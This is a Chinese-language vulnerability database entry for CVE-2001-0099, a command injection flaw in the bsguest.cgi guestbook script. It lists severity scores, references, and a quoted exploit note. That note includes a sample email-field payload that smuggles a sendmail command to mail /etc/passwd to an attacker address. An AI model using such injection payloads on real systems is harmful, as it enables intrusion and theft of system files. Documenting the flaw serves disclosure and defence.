CVE-2001-0099
CVSS10.0
发布时间 :2001-02-12 00:00:00
修订时间 :2011-03-07 21:04:37
NMCOE    

[原文]bsguest.cgi guestbook script allows remote attackers to execute arbitrary commands via shell metacharacters in the email address.


[CNNVD]bsguest.cgi留言簿脚本漏洞(CNNVD-200102-032)

        bsguest.cgi留言簿脚本存在漏洞。远程攻击者可以借助邮件地址的shell元字符执行任意命令。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0099
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0099
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200102-032
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/5796.php
(VENDOR_ADVISORY)  XF  bsguest-cgi-execute-commands
http://www.stanback.net/
(PATCH)  MISC  http://www.stanback.net/
http://archives.neohapsis.com/archives/bugtraq/2000-12/0390.html
(VENDOR_ADVISORY)  BUGTRAQ  20001221 BS Scripts Vulnerabilities

- 漏洞信息

bsguest.cgi留言簿脚本漏洞
危急 未知
2001-02-12 00:00:00 2005-05-02 00:00:00
远程  
        bsguest.cgi留言簿脚本存在漏洞。远程攻击者可以借助邮件地址的shell元字符执行任意命令。

- 公告与补丁

        

- 漏洞信息 (20524)

Brian Stanback bsguest.cgi 1.0 Remote Command Execution Vulnerability (EDBID:20524)
cgi remote
2000-12-20 Verified
0 rivendell_team
N/A [点击下载]
source: http://www.securityfocus.com/bid/2159/info

An input validation vulnerability exists in Brian Stanback's bsguest.cgi, a script designed to coordinate guestbook submissions from website visitors.

The script fails to properly filter ';' characters from the user-supplied email address collected by the script.

As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server.


Attacker enters his email address as <whitehatjoe@hotmail.com>

'hacker@example.com;/usr/sbin/sendmail hacker@example.com < /etc/passwd',

server mails a confirmation letter along with the passwd file to the attacker.		

- 漏洞信息

7162
Brian Stanback bsguest.cgi Guestbook Email Address Field Arbitrary Command Execution
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2000-12-21 Unknow
2000-12-21 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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